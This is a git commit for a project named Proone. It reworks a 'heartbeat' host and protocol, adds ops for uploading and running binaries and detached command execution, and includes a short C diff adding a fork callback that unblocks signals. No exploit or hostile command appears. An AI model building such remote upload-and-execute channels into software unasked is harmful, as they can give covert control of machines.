htbt and protocol overhaul ...

* htbt overhaul
  * Abandon async slv io. slv io is now synchronous
  * htbt_do_cmd()
    * w/ detach flag: set up closed pipes for stdio
    * Create new pg for child and kill the pg on error
    * Do waitpid() w/ timeout
    * Wait for child spawn w/ timeout
    * Always reap child
  * Add fork cb for clean up code(to unmask signals, deinit libs)
* Protocol overhaul
  * Use stdio frames to transfer binary data for
    PRNE_HTBT_OP_UP_BIN and PRNE_HTBT_OP_RUN_BIN op
  * bin_meta bin_size -> alloc_len. This is an optional field now
* Fix protocol
  * detach flag of cmd_head not being (de)serialised
  * cmd_head (d)ser funcs not setting actual correctly
* Proone: call setsid() on daemonisation
* Fix compilation error caused by missing <errno.h>

1 files changed, 10 insertions, 0 deletions

diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index 4aee540..86aadd7 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -136,6 +136,15 @@ static bool cb_upbin (
 	return pth_raise(main_pth, SIGTERM) != 0;
 }
 
+static bool cb_fork (void *ctx) {
+	sigset_t ss;
+
+	sigfillset(&ss);
+	pth_sigmask(SIG_UNBLOCK, &ss, NULL);
+
+	return true;
+}
+
 static void load_ssl_conf (
 	mbedtls_x509_crt *ca,
 	mbedtls_ssl_config *s_conf,
@@ -509,6 +518,7 @@ int main (const int argc, const char **args) {
 		param.cb_f.hostinfo = cb_hostinfo;
 		param.cb_f.tmpfile = mktmpfile;
 		param.cb_f.upbin = cb_upbin;
+		param.cb_f.fork = cb_fork;
 		param.blackhole = open("/dev/null", O_WRONLY);
 
 		w = wkr_arr + 1;